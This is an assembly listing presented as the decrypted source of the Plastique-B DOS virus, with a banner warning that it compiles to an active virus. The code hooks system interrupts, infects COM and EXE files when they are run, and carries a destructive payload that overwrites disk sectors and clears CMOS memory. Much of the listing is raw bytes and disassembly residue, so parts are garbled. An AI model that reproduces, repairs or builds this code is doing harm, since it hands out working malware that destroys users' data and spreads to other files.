PAGE  59,132
  
;==========================================================================
;  		Plastique-B virus Decrypted source code	  			             
;  		    Brought to you by Minuite man						           
;                                        					           
;                DANGER! Not for public distribution						           
;                This source code can be compiled to                                 
;                Active virus.Always handle viruses          
;                Carefully.  	 
;==========================================================================
  
data_1e		equ	3FCh			; (0000:03FC=0F000h)
data_2e		equ	3FEh			; (0000:03FE=16h)
data_3e		equ	3			; (3E00:0003=0FFFFh)
data_4e		equ	5			; (3E00:0005=0FFh)
data_5e		equ	18h			; (3E00:0018=0FFFFh)
data_6e		equ	1Ah			; (3E00:001A=0FFFFh)
data_7e		equ	1Ch			; (3E00:001C=0FFFFh)
data_8e		equ	1Eh			; (3E00:001E=0FFFFh)
data_9e		equ	20h			; (3E00:0020=0FFFFh)
data_10e	equ	22h			; (3E00:0022=0FFFFh)
data_11e	equ	48h			; (3E00:0048=0FFFFh)
data_12e	equ	4Ah			; (3E00:004A=0FFFFh)
data_13e	equ	4Eh			; (3E00:004E=0FFFFh)
data_14e	equ	54h			; (3E00:0054=0FFFFh)
data_15e	equ	56h			; (3E00:0056=0FFFFh)
data_16e	equ	58h			; (3E00:0058=0FFFFh)
data_17e	equ	5Ah			; (3E00:005A=0FFFFh)
data_18e	equ	5Ch			; (3E00:005C=0FFFFh)
data_19e	equ	6Ah			; (3E00:006A=0FFh)
data_20e	equ	86h			; (3E00:0086=0FFFFh)
data_21e	equ	88h			; (3E00:0088=0FFFFh)
data_22e	equ	2A6h			; (3E00:02A6=0FFh)
data_23e	equ	3			; (6C23:0003=0)
data_24e	equ	5			; (6C23:0005=0)
data_25e	equ	6			; (6C23:0006=0)
data_27e	equ	0Ah			; (6C23:000A=0)
data_29e	equ	14h			; (6C23:0014=0)
data_30e	equ	16h			; (6C23:0016=0)
data_31e	equ	24h			; (6C23:0024=0)
data_32e	equ	26h			; (6C23:0026=0)
data_33e	equ	28h			; (6C23:0028=0)
data_34e	equ	2Ah			; (6C23:002A=0)
data_35e	equ	2Ch			; (6C23:002C=0)
data_36e	equ	2Eh			; (6C23:002E=0)
data_37e	equ	30h			; (6C23:0030=0)
data_38e	equ	32h			; (6C23:0032=0)
data_39e	equ	34h			; (6C23:0034=0)
data_41e	equ	38h			; (6C23:0038=0)
data_42e	equ	3Ch			; (6C23:003C=0)
data_43e	equ	3Eh			; (6C23:003E=0)
data_44e	equ	42h			; (6C23:0042=0)
data_45e	equ	44h			; (6C23:0044=0)
data_46e	equ	45h			; (6C23:0045=0)
data_47e	equ	62h			; (6C23:0062=0)
data_48e	equ	64h			; (6C23:0064=0)
data_49e	equ	66h			; (6C23:0066=0)
data_50e	equ	68h			; (6C23:0068=0)
data_51e	equ	69h			; (6C23:0069=0)
data_52e	equ	6Ah			; (6C23:006A=0)
data_68e	equ	160Ah			; (6C23:160A=0)
data_69e	equ	690Ah			; (6C23:690A=0)
data_70e	equ	0FA0Ah			; (6C23:FA0A=0)
  
seg_a		segment
		assume	cs:seg_a, ds:seg_a
  
  
		org	100h
  
test		proc	far
  
start:
		jmp	loc_61			; (09D3)
		db	0CCh, 1, 0C7h, 24h, 1, 9
		db	0Dh, 92h, 25h, 70h, 0, 0
		db	0, 0, 0, 89h, 19h, 0
		db	1, 53h, 13h, 0, 0, 7Eh
		db	82h, 0, 0, 7Eh, 82h
		db	50h
data_53		db	2
data_54		dw	0
data_55		dw	4269h			; Data table (indexed access)
		db	1Fh, 8Bh, 5, 0, 20h, 0
		db	21h, 0, 80h, 0, 0E6h, 77h
		db	18h, 0, 0AAh, 0, 9, 0Dh
		db	60h, 14h, 1Eh, 2, 56h, 5
		db	6, 6Fh, 73h, 12h, 0, 0F0h
		db	16h, 0, 4Dh, 5Ah, 14h, 0
		db	8, 0, 0, 0, 20h, 0
		db	0, 0, 0FFh, 0FFh, 5, 0
		db	0C4h, 0Bh, 89h, 19h, 0, 9
		db	5, 0, 1Eh, 0, 90h, 90h
		db	1, 0, 70h, 45h, 75h, 42h
		db	0, 0, 0
		db	'ACAD.EXECOMMAND.COM.COM.EXE'
		db	10h, 0, 0, 2, 0, 0
		db	80h, 0, 0B4h, 0D5h, 5Ch, 0
		db	0B4h, 0D5h, 6Ch, 0, 0B4h, 0D5h
		db	'Program: Plastique'
loc_2:
		and	[si],dh
		db	'.51 (plastic bomb), '
copyright	db	'Copyright (C) 1988, 1989 by ABT '
		db	'Group.Thanks to: M'
		db	'r. Lin (IECS 762??), Mr. Cheng ('
		db	'FCU Inf-Center)'
		db	1, 0, 0
data_58		db	0E3h			; Data table (indexed access)
		db	8, 0, 0, 0EBh, 7, 91h
		db	0Ah, 91h, 0Ah, 0BEh, 11h, 0
		db	0, 0D0h, 0Fh, 21h, 15h, 21h
		db	15h, 0DCh, 0Bh, 0, 0, 91h
		db	0Ah, 16h, 0Eh, 16h, 0Eh, 0B7h
		db	17h, 0, 0, 21h, 15h, 2Ch
		db	1Ch, 2Ch, 1Ch, 91h, 0Ah, 16h
		db	0Eh, 33h, 0Bh, 33h, 0Bh, 91h
		db	0Ah, 0FAh, 9, 0FAh, 9, 91h
		db	0Ah, 33h, 0Bh, 33h, 0Bh, 91h
		db	0Ah, 16h, 0Eh, 16h, 0Eh, 0
		db	0, 16h, 0Eh, 0D0h, 0Fh, 0BEh
		db	11h, 0, 0, 0E3h, 8, 0
		db	0, 0EBh, 7, 91h, 0Ah, 91h
		db	0Ah, 0BEh, 11h, 0, 0, 0D0h
		db	0Fh, 21h, 15h, 21h, 15h, 0DCh
		db	0Bh, 0, 0, 91h, 0Ah, 16h
		db	0Eh, 16h, 0Eh, 0B7h, 17h, 0
		db	0, 21h, 15h, 2Ch, 1Ch, 2Ch
		db	1Ch, 91h, 0Ah, 16h, 0Eh, 33h
		db	0Bh, 33h, 0Bh, 91h, 0Ah, 0FAh
		db	9
data_59		dw	9FAh
data_60		db	91h
data_61		db	0Ah
data_62		dw	0B33h
data_63		db	33h
  
test		endp
  
;==========================================================================
;
;			External Entry Point
;
;==========================================================================
  
int_24h_entry	proc	far
		or	dx,ds:data_68e[bx+di]	; (6C23:160A=0)
		push	cs
		push	ss
		push	cs
		add	[bx+si],al
		push	ss
		push	cs
		ror	byte ptr [bx],1		; Rotate
		mov	si,11h
		add	ds:data_69e[bx+di],dl	; (6C23:690A=0)
		or	bx,sp
		or	bl,ch
		pop	es
		jmp	short $+9
		db	91h, 0Ah, 0, 0, 0FAh, 9
		db	0FAh, 9, 64h, 8, 64h, 8
int_24h_entry	endp
  
  
;==========================================================================
;
;			External Entry Point
;
;==========================================================================
  
int_08h_entry	proc	far
		push	cs
		pop	es
		add	[bx+si],al
		xchg	ax,cx
		or	dl,ds:data_70e[bx+di]	; (6C23:FA0A=0)
		or	dx,di
		or	[bp+si+0Dh],dx
		add	[bx+si],al
		xor	cx,[bp+di]
		add	[bx+si],al
		push	ss
		push	cs
		add	[bx+si],al
;*		jmp	short loc_4		;*(02F3)
		db	0EBh, 7
		db	0EBh, 7, 91h, 0Ah, 0, 0
		db	33h
loc_4:
		or	si,[bp+di]
		or	bp,[bx+di+9]
		db	69h, 9, 0EBh, 7, 0EBh, 7
		db	0, 0, 0E3h, 8, 0, 0
		db	0EBh, 7, 91h, 0Ah, 91h, 0Ah
		db	0BEh, 11h, 0, 0, 0D0h, 0Fh
		db	21h, 15h, 21h, 15h, 0DCh, 0Bh
		db	0, 0, 0F2h, 0Eh, 0D0h, 0Fh
		db	0, 0, 0BEh, 11h, 21h, 15h
		db	0, 0, 3, 2, 3, 3
		db	0Dh, 3, 2, 3, 3, 0Dh
		db	3, 2, 3, 3, 0Dh, 3
		db	2, 3, 3, 0Dh, 7, 3
		db	3, 7, 3, 3, 7, 3
		db	3, 7, 3, 14h, 2, 1
		db	1, 1, 3, 8, 3, 2
		db	3, 3, 0Dh, 3, 2, 3
		db	3, 0Dh, 3, 2, 3, 3
		db	0Dh, 3, 2, 3, 3
int_08h_entry	endp
  
  
;==========================================================================
;
;			External Entry Point
;
;==========================================================================
  
int_09h_entry	proc	far
		or	ax,307h
		add	ax,[bx]
		add	ax,[bp+di]
		pop	es
		add	ax,[bp+di]
		pop	es
		add	dx,[si]
		add	al,[bx+di]
		add	[bx+di],ax
		add	ax,[bp+di]
		add	[bx+di],ax
		add	[di],cx
		pop	es
		push	es
		add	[di],cx
		or	ax,70Dh
		push	es
		add	[di],cx
		or	ax,70Dh
		push	es
		add	[si],cx
		add	cl,[si]
		add	cl,[di]
		pop	es
		push	es
		add	[di],cx
		or	ax,0D0Dh
		or	ax,0D0Dh
		add	ax,[bp+di]
		add	ax,[bp+di]
		or	ax,303h
		add	ax,[bp+di]
		or	ax,106h
		add	ax,[bp+di]
		add	ax,[bp+di]
		add	ax,[bx+di]
		db	7 dup (0)
		db	32h, 0C0h, 0CFh, 9Ch, 50h, 2Eh
		db	0A1h, 64h, 0, 2Eh, 39h, 6
		db	3, 0, 58h, 77h, 5, 2Eh
		db	0FFh, 6, 3, 0, 51h, 2Eh
		db	8Bh, 0Eh, 3, 0
  
locloop_5:
		nop
		loop	locloop_5		; Loop if cx > 0
  
		int	3			; Debug breakpoint
		pop	cx
		popf				; Pop flags
		jmp	dword ptr cs:data_39e	; (6C23:0034=0)
		db	9Ch, 0CCh, 2Eh, 0FFh, 6, 3
		db	0, 2Eh, 81h, 3Eh, 3, 0
		db	88h, 13h, 77h, 6, 9Dh, 2Eh
		db	0FFh, 2Eh, 34h, 0, 1Eh, 50h
		db	53h, 0Eh, 1Fh, 8Bh, 1Eh, 22h
		db	1, 0FEh, 0Eh, 21h, 1, 75h
		db	5Dh, 8Bh, 1Eh, 22h, 1, 0FFh
		db	6, 22h, 1, 81h, 0FBh, 80h
		db	0, 75h, 3, 0EBh, 36h, 90h
loc_6:
		mov	al,data_58[bx]		; (6C23:0224=0E3h)
		mov	data_53,al		; (6C23:0121=2)
		shl	bx,1			; Shift w/zeros fill
		mov	ax,data_55[bx]		; (6C23:0124=4269h)
		cmp	ax,0
		je	loc_7			; Jump if equal
		jmp	short loc_8		; (0426)
		db	90h
loc_7:
		in	al,61h			; port 61h, 8255 port B, read
		and	al,0FEh
		out	61h,al			; port 61h, 8255 B - spkr, etc
		jmp	short loc_10		; (0454)
		db	90h
loc_8:
		mov	bx,ax
		mov	al,0B6h
		out	43h,al			; port 43h, 8253 wrt timr mode
		mov	ax,bx
		out	42h,al			; port 42h, 8253 timer 2 spkr
		mov	al,ah
		out	42h,al			; port 42h, 8253 timer 2 spkr
		in	al,61h			; port 61h, 8255 port B, read
		or	al,3
		out	61h,al			; port 61h, 8255 B - spkr, etc
		jmp	short loc_10		; (0454)
		db	90h
loc_9:
		in	al,61h			; port 61h, 8255 port B, read
		and	al,0FEh
		out	61h,al			; port 61h, 8255 B - spkr, etc
		mov	data_54,0		; (6C23:0122=0)
		mov	data_53,1		; (6C23:0121=2)
		mov	word ptr ds:data_23e,1	; (6C23:0003=0)
loc_10:
		pop	bx
		pop	ax
		pop	ds
		popf				; Pop flags
		jmp	dword ptr cs:data_39e	; (6C23:0034=0)
		db	0FAh, 50h, 1Eh, 33h, 0C0h, 8Eh
		db	0D8h, 0A0h, 17h, 4, 1Fh, 24h
		db	0Ch, 3Ch, 0Ch, 75h, 2Eh, 0E4h
		db	'`$'
		db	7Fh, '<Su&.'
		db	81h, 3Eh, 3, 0, 88h, 13h
		db	72h, 1Dh, 2Eh, 80h, 3Eh, 69h
		db	0, 1, 74h, 3, 0E9h, 93h
		db	0, 0E4h, 61h, 0Ch, 80h, 0E6h
		db	61h, 24h, 7Fh, 0E6h, 61h, 58h
		db	0B0h, 20h, 0E6h, 20h, 0EBh, 1Fh
		db	90h, 58h, 9Ch, 2Eh, 0FFh, 1Eh
		db	6, 0, 0FAh, 2Eh, 0FFh, 6
		db	0Eh, 0, 2Eh, 81h, 3Eh, 0Eh
		db	0, 0A0h, 0Fh, 72h, 6, 2Eh
		db	0C6h, 6, 6Ah, 0, 1
loc_11:
		sti				; Enable interrupts
		iret				; Interrupt return
int_09h_entry	endp
  
loc_12:
		mov	al,2
		out	21h,al			; port 21h, 8259-1 int comands
		sti				; Enable interrupts
		in	al,61h			; port 61h, 8255 port B, read
		and	al,0FEh
		out	61h,al			; port 61h, 8255 B - spkr, etc
		mov	cs:data_54,0		; (6C23:0122=0)
		mov	cs:data_53,1		; (6C23:0121=2)
		mov	word ptr cs:data_23e,1	; (6C23:0003=0)
		mov	ax,4
		int	10h			; Video display   ah=functn 00h
						;  set display mode in al
		mov	ax,402h
		push	ax
loc_13:
		mov	byte ptr ds:data_52e,0	; (6C23:006A=0)
		push	cs
		pop	ax
		mov	ds,ax
		mov	es,ax
		mov	dl,0
  
;==========================================================================
;
;			External Entry Point
;
;==========================================================================
  
int_13h_entry	proc	far
		call	sub_1			; (052D)
		jc	loc_14			; Jump if carry Set
		call	sub_2			; (059E)
loc_14:
		mov	dl,1
		call	sub_1			; (052D)
		jc	loc_ret_15		; Jump if carry Set
		call	sub_2			; (059E)
  
loc_ret_15:
		retn
int_13h_entry	endp
  
		db	0B2h, 80h, 2Eh, 0C7h, 6, 3
		db	0, 0D4h, 12h, 0E8h, 63h, 0
		db	72h, 3, 0E8h
data_65		dw	0A7h			; Data table (indexed access)
		db	0B2h, 81h, 0E8h, 59h, 0, 72h
		db	3, 0E8h, 9Dh, 0, 0B9h, 40h
		db	0
  
locloop_16:
		mov	al,cl
		out	70h,al			; port 70h, RTC addr/enabl NMI
						;  al = 0, seconds register
		mov	al,0FFh
		out	71h,al			; port 71h, RTC clock/RAM data
		loop	locloop_16		; Loop if cx > 0
  
loc_17:
		nop
		jmp	short loc_17		; (052A)
  
;==========================================================================
;			       SUBROUTINE
;==========================================================================
  
sub_1		proc	near
		mov	data_61,dl		; (6C23:02A7=0Ah)
		mov	ax,201h
		mov	cx,1
		mov	dh,0
		mov	bx,511h
		int	13h			; Disk  dl=drive #: ah=func a2h
						;  read sectors to memory es:bx
		jc	loc_ret_18		; Jump if carry Set
		mov	si,18h
		mov	cx,data_65[si]		; (6C23:0511=0A7h)
		mov	data_60,cl		; (6C23:02A6=91h)
		mov	si,13h
		mov	ax,data_65[si]		; (6C23:0511=0A7h)
		xor	dx,dx			; Zero register
		div	cx			; ax,dx rem=dx:ax/reg
		mov	si,1Ah
		mov	cx,data_65[si]		; (6C23:0511=0A7h)
		xor	dx,dx			; Zero register
		div	cx			; ax,dx rem=dx:ax/reg
		mov	data_59,ax		; (6C23:02A4=9FAh)
		mov	dl,data_61		; (6C23:02A7=0Ah)
		mov	dh,0
		mov	cx,1
		cmp	cx,0
  
loc_ret_18:
		retn
sub_1		endp
  
		db	0B4h, 8, 88h, 16h, 0A7h, 2
		db	0CDh, 13h, 72h, 22h, 88h, 36h
		db	0AAh, 2, 8Ah, 0C5h, 8Ah, 0E1h
		db	80h, 0E1h, 3Fh, 88h, 0Eh, 0A6h
		db	2, 0B1h, 6, 0D2h, 0ECh, 0A3h
		db	0A4h, 2, 8Ah, 16h, 0A7h, 2
		db	0B6h, 0, 0B9h, 1, 0, 83h
		db	0F9h, 0
  
loc_ret_19:
		retn
  
;==========================================================================
;			       SUBROUTINE
;==========================================================================
  
sub_2		proc	near
		mov	bx,98h
loc_20:
		mov	al,data_60		; (6C23:02A6=91h)
		mov	ah,3
		int	13h			; Disk  dl=drive #: ah=func a3h
						;  write sectors from mem es:bx
		jnc	loc_21			; Jump if carry=0
		and	ah,0C3h
		jnz	loc_ret_22		; Jump if not zero
loc_21:
		inc	ch
		cmp	ch,byte ptr data_59	; (6C23:02A4=0FAh)
		je	loc_ret_22		; Jump if equal
		jmp	short loc_20		; (05A1)
  
loc_ret_22:
		retn
sub_2		endp
  
  
;==========================================================================
;			       SUBROUTINE
;==========================================================================
  
sub_3		proc	near
		mov	bx,98h
		mov	data_62,0		; (6C23:02A8=0B33h)
loc_23:
		mov	al,data_60		; (6C23:02A6=91h)
		mov	ah,3
		int	13h			; Disk  dl=drive #: ah=func a3h
						;  write sectors from mem es:bx
		inc	dh
		cmp	dh,data_63		; (6C23:02AA=33h)
		ja	loc_24			; Jump if above
		jmp	short loc_23		; (05C3)
loc_24:
		inc	data_62			; (6C23:02A8=0B33h)
		mov	dh,0
		mov	ax,data_62		; (6C23:02A8=0B33h)
		cmp	ax,data_59		; (6C23:02A4=9FAh)
		ja	loc_ret_25		; Jump if above
		or	al,1
		add	ch,al
		jnc	loc_23			; Jump if carry=0
		add	cl,40h			; '@'
		jmp	short loc_23		; (05C3)
  
loc_ret_25:
		retn
sub_3		endp
  
		db	52h, 80h, 0FCh, 3, 75h, 12h
		db	2Eh, 0C7h, 6, 0Eh, 0, 0
		db	0, 2Eh, 80h, 3Eh, 6Ah, 0
		db	1, 75h, 3, 0BAh, 0FFh, 0FFh
		db	9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0
		db	5Ah, 0CAh, 2, 0, 9Ch, 3Dh
		db	40h, 4Bh, 75h, 5, 0B8h, 78h
		db	56h, 9Dh, 0CFh, 3Dh, 41h, 4Bh
		db	74h, 1Eh, 3Dh, 0, 4Bh, 75h
		db	3, 0EBh, 34h, 90h
loc_26:
		cmp	ax,3D00h
		jne	loc_27			; Jump if not equal
		cmp	byte ptr cs:data_50e,1	; (6C23:0068=0)
		je	loc_27			; Jump if equal
		jmp	short loc_29		; (065C)
		db	90h
loc_27:
		popf				; Pop flags
		jmp	dword ptr cs:data_41e	; (6C23:0038=0)
loc_28:
		pop	ax
		pop	ax
		mov	ax,100h
		mov	cs:data_29e,ax		; (6C23:0014=0)
		pop	ax
		mov	cs:data_30e,ax		; (6C23:0016=0)
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		popf				; Pop flags
		call	sub_5			; (09C8)
		mov	cx,ds:data_38e		; (6C23:0032=0)
		jmp	dword ptr cs:data_29e	; (6C23:0014=0)
loc_29:
		mov	word ptr cs:data_33e,0FFFFh	; (6C23:0028=0)
		mov	word ptr cs:data_47e,0	; (6C23:0062=0)
		mov	cs:data_31e,dx		; (6C23:0024=0)
		mov	cs:data_32e,ds		; (6C23:0026=0)
		push	ax
		push	bx
		push	cx
		push	dx
		push	si
		push	di
		push	ds
		push	es
		cld				; Clear direction
		mov	si,dx
loc_30:
		mov	al,[si]
		or	al,al			; Zero ?
		jz	loc_32			; Jump if zero
		cmp	al,61h			; 'a'
		jb	loc_31			; Jump if below
		cmp	al,7Ah			; 'z'
		ja	loc_31			; Jump if above
		sub	byte ptr [si],20h	; ' '
loc_31:
		inc	si
		jmp	short loc_30		; (067F)
loc_32:
		mov	cs:data_49e,si		; (6C23:0066=0)
		mov	ax,si
		push	cs
		pop	es
		mov	cx,0Bh
		sub	si,cx
		mov	di,73h
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		jnz	loc_33			; Jump if not zero
		jmp	loc_59			; (0997)
loc_33:
		mov	si,ax
		mov	cx,8
		sub	si,cx
		mov	di,6Bh
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		jnz	loc_34			; Jump if not zero
		mov	ax,41Dh
		push	ax
		jmp	loc_13			; (04E2)
loc_34:
		mov	ax,4300h
		int	21h			; DOS Services  ah=function 43h
						;  get/set file attrb, nam@ds:dx
		jc	loc_35			; Jump if carry Set
		mov	cs:data_34e,cx		; (6C23:002A=0)
loc_35:
		jc	loc_41			; Jump if carry Set
		xor	al,al			; Zero register
		mov	cs:data_46e,al		; (6C23:0045=0)
		mov	si,cs:data_49e		; (6C23:0066=0)
		mov	cx,4
		sub	si,cx
		mov	di,7Eh
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		jz	loc_36			; Jump if zero
		inc	byte ptr cs:data_46e	; (6C23:0045=0)
		mov	si,cs:data_49e		; (6C23:0066=0)
		mov	cx,4
		sub	si,cx
		mov	di,82h
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		jz	loc_36			; Jump if zero
		add	cx,0FFFFh
		jmp	short loc_41		; (073F)
		db	90h
loc_36:
		mov	di,dx
		xor	dl,dl			; Zero register
		cmp	byte ptr [di+1],3Ah	; ':'
		jne	loc_37			; Jump if not equal
		mov	dl,[di]
		and	dl,1Fh
loc_37:
		mov	ah,36h			; '6'
		int	21h			; DOS Services  ah=function 36h
						;  get free space, drive dl,1=a:
		cmp	ax,0FFFFh
		jne	loc_39			; Jump if not equal
loc_38:
		jmp	loc_59			; (0997)
loc_39:
		mul	bx			; dx:ax = reg * ax
		mul	cx			; dx:ax = reg * ax
		or	dx,dx			; Zero ?
		jnz	loc_40			; Jump if not zero
		cmp	ax,0BC4h
		jb	loc_38			; Jump if below
loc_40:
		mov	dx,cs:data_31e		; (6C23:0024=0)
		mov	ax,3D00h
		mov	byte ptr cs:data_50e,1	; (6C23:0068=0)
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	byte ptr cs:data_50e,0	; (6C23:0068=0)
loc_41:
		jc	loc_43			; Jump if carry Set
		mov	cs:data_33e,ax		; (6C23:0028=0)
		mov	bx,ax
		mov	ax,4202h
		mov	cx,0FFFFh
		mov	dx,0FFFBh
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		jc	loc_43			; Jump if carry Set
		add	ax,5
		mov	cs:data_38e,ax		; (6C23:0032=0)
		mov	ax,4200h
		mov	cx,0
		mov	dx,12h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		jc	loc_43			; Jump if carry Set
		mov	cx,2
		mov	dx,60h
		mov	di,dx
		mov	ax,cs
		mov	ds,ax
		mov	es,ax
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		mov	ax,[di]
		cmp	ax,1989h
		jne	loc_42			; Jump if not equal
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		jmp	loc_59			; (0997)
loc_42:
		mov	ax,3524h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ds:data_42e,bx		; (6C23:003C=0)
		mov	ds:data_43e,es		; (6C23:003E=0)
		mov	dx,2ABh
		mov	ax,2524h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		lds	dx,dword ptr ds:data_31e	; (6C23:0024=0) Load 32 bit ptr
		xor	cx,cx			; Zero register
		mov	ax,4301h
		int	21h			; DOS Services  ah=function 43h
						;  get/set file attrb, nam@ds:dx
loc_43:
		jc	loc_44			; Jump if carry Set
		mov	bx,cs:data_33e		; (6C23:0028=0)
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		mov	word ptr cs:data_33e,0FFFFh	; (6C23:0028=0)
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		jc	loc_44			; Jump if carry Set
		mov	cs:data_33e,ax		; (6C23:0028=0)
		mov	ax,cs
		mov	ds,ax
		mov	es,ax
		mov	bx,ds:data_33e		; (6C23:0028=0)
		mov	ax,5700h
		int	21h			; DOS Services  ah=function 57h
						;  get/set file date & time
		mov	ds:data_35e,dx		; (6C23:002C=0)
		mov	ds:data_36e,cx		; (6C23:002E=0)
		mov	ax,4200h
		xor	cx,cx			; Zero register
		mov	dx,cx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
loc_44:
		jc	loc_47			; Jump if carry Set
		cmp	byte ptr ds:data_46e,0	; (6C23:0045=0)
		je	loc_45			; Jump if equal
		jmp	short loc_49		; (0867)
		db	90h
loc_45:
		mov	bx,1000h
		mov	ah,48h			; 'H'
		int	21h			; DOS Services  ah=function 48h
						;  allocate memory, bx=bytes/16
		jnc	loc_46			; Jump if carry=0
		mov	ah,3Eh			; '>'
		mov	bx,ds:data_33e		; (6C23:0028=0)
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		jmp	loc_59			; (0997)
loc_46:
		inc	word ptr ds:data_47e	; (6C23:0062=0)
		mov	es,ax
		xor	si,si			; Zero register
		mov	di,si
		inc	word ptr ds:data_23e	; (6C23:0003=0)
		mov	ax,ds:data_23e		; (6C23:0003=0)
		or	al,1
		mov	ds:data_24e,al		; (6C23:0005=0)
		call	sub_4			; (09A5)
		mov	cx,0BC4h
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		call	sub_4			; (09A5)
		mov	dx,di
		mov	cx,ds:data_38e		; (6C23:0032=0)
		mov	bx,ds:data_33e		; (6C23:0028=0)
		push	es
		pop	ds
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
loc_47:
		jc	loc_48			; Jump if carry Set
		add	di,cx
		jc	loc_48			; Jump if carry Set
		xor	cx,cx			; Zero register
		mov	dx,cx
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		mov	cx,di
		xor	dx,dx			; Zero register
		mov	ah,ds:data_19e		; (3E00:006A=0FFh)
		mov	ds:data_22e,ah		; (3E00:02A6=0FFh)
		mov	byte ptr ds:data_19e,0	; (3E00:006A=0FFh)
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		mov	ah,ds:data_22e		; (3E00:02A6=0FFh)
		mov	ds:data_19e,ah		; (3E00:006A=0FFh)
loc_48:
		jc	loc_50			; Jump if carry Set
		jmp	loc_57			; (0952)
loc_49:
		mov	cx,1Ch
		mov	dx,46h
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
loc_50:
		jc	loc_52			; Jump if carry Set
		cmp	word ptr ds:data_16e,1989h	; (3E00:0058=0FFFFh)
		je	loc_52			; Jump if equal
		mov	word ptr ds:data_16e,1989h	; (3E00:0058=0FFFFh)
		mov	ax,ds:data_14e		; (3E00:0054=0FFFFh)
		mov	ds:data_6e,ax		; (3E00:001A=0FFFFh)
		mov	ax,ds:data_15e		; (3E00:0056=0FFFFh)
		mov	ds:data_5e,ax		; (3E00:0018=0FFFFh)
		mov	ax,ds:data_17e		; (3E00:005A=0FFFFh)
		mov	ds:data_7e,ax		; (3E00:001C=0FFFFh)
		mov	ax,ds:data_18e		; (3E00:005C=0FFFFh)
		mov	ds:data_8e,ax		; (3E00:001E=0FFFFh)
		mov	ax,ds:data_12e		; (3E00:004A=0FFFFh)
		cmp	word ptr ds:data_11e,0	; (3E00:0048=0FFFFh)
		je	loc_51			; Jump if equal
		dec	ax
loc_51:
		mul	word ptr ds:data_21e	; (3E00:0088=0FFFFh) ax = data * ax
		add	ax,ds:data_11e		; (3E00:0048=0FFFFh)
		adc	dx,0
		add	ax,0Fh
		adc	dx,0
		and	ax,0FFF0h
		mov	ds:data_9e,ax		; (3E00:0020=0FFFFh)
		mov	ds:data_10e,dx		; (3E00:0022=0FFFFh)
		add	ax,0BC4h
		adc	dx,0
loc_52:
		jc	loc_54			; Jump if carry Set
		div	word ptr ds:data_21e	; (3E00:0088=0FFFFh) ax,dxrem=dx:ax/da
		or	dx,dx			; Zero ?
		jz	loc_53			; Jump if zero
		inc	ax
loc_53:
		mov	ds:data_12e,ax		; (3E00:004A=0FFFFh)
		mov	ds:data_11e,dx		; (3E00:0048=0FFFFh)
		mov	ax,ds:data_9e		; (3E00:0020=0FFFFh)
		mov	dx,ds:data_10e		; (3E00:0022=0FFFFh)
		div	word ptr ds:data_20e	; (3E00:0086=0FFFFh) ax,dxrem=dx:ax/da
		sub	ax,ds:data_13e		; (3E00:004E=0FFFFh)
		mov	ds:data_18e,ax		; (3E00:005C=0FFFFh)
		mov	word ptr ds:data_17e,900h	; (3E00:005A=0FFFFh)
		mov	ds:data_14e,ax		; (3E00:0054=0FFFFh)
		mov	word ptr ds:data_15e,0BC4h	; (3E00:0056=0FFFFh)
		xor	cx,cx			; Zero register
		mov	dx,cx
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
loc_54:
		jc	loc_55			; Jump if carry Set
		mov	cx,1Ch
		mov	dx,46h
		mov	ah,ds:data_19e		; (3E00:006A=0FFh)
		mov	ds:data_22e,ah		; (3E00:02A6=0FFh)
		mov	byte ptr ds:data_19e,0	; (3E00:006A=0FFh)
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		mov	ah,ds:data_22e		; (3E00:02A6=0FFh)
		mov	ds:data_19e,ah		; (3E00:006A=0FFh)
loc_55:
		jc	loc_56			; Jump if carry Set
		cmp	ax,cx
		jne	loc_57			; Jump if not equal
		mov	dx,ds:data_9e		; (3E00:0020=0FFFFh)
		mov	cx,ds:data_10e		; (3E00:0022=0FFFFh)
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
loc_56:
		jc	loc_57			; Jump if carry Set
		inc	word ptr ds:data_3e	; (3E00:0003=0FFFFh)
		mov	ax,ds:data_3e		; (3E00:0003=0FFFFh)
		or	al,1
		mov	ds:data_4e,al		; (3E00:0005=0FFh)
		call	sub_4			; (09A5)
		xor	dx,dx			; Zero register
		mov	cx,0BC4h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		call	sub_4			; (09A5)
loc_57:
		cmp	word ptr cs:data_47e,0	; (6C23:0062=0)
		je	loc_58			; Jump if equal
		mov	ah,49h			; 'I'
		int	21h			; DOS Services  ah=function 49h
						;  release memory block, es=seg
loc_58:
		cmp	word ptr cs:data_33e,0FFFFh	; (6C23:0028=0)
		je	loc_59			; Jump if equal
